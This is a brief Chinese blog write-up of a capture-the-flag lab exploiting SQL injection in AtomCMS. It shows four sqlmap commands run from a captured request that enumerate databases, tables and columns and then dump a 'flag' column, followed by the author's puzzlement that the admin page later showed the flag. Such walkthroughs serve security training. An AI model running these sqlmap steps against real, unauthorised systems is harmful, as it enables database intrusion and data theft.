文章讲述了作者在AtomCMS系统中发现的SQL注入漏洞，通过抓包和使用sqlmap工具进行攻击，逐步获取数据库名、表名、列名和部分数据的过程。同时提到了一个奇特的现象：未使用工具时无法访问的界面，在执行SQL注入后可以访问并显示出flag。
简介
AtomCMS SQL注入漏洞
正文
首先进入靶场我们发现没有什么有用的东西。
找到注入点
但是我们都知道在春秋没有东西那就可以尝试访问/admin，或许就会有东西呢，结果真给我碰到了。
既然已经告诉我们是sql注入，那我们就直接进行抓包跑sqlmap吧
爆库名
python sqlmap.py -r 2.txt -batch -dbs
爆表名
python sqlmap.py -r 2.txt -batch -D atomcms --tables
爆列名
python sqlmap.py -r 2.txt -batch -D atomcms -T flag -columns
爆数据
python sqlmap.py -r 2.txt -batch -D atomcms -T flag -C flag -dump
最后
有个很奇怪的地方，我们最开始在没有跑sqlmap的时候我们是无法进去到这个界面，它会自动跳转到登录界面，现在跑完sqlmap后，我们就可以访问到这个界面，且右上角还把flag显示出来了。真的好奇怪欸！
不是我不想手注，主要是我注入没成功，没办法只好用工具，我真的好菜哇！
508
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
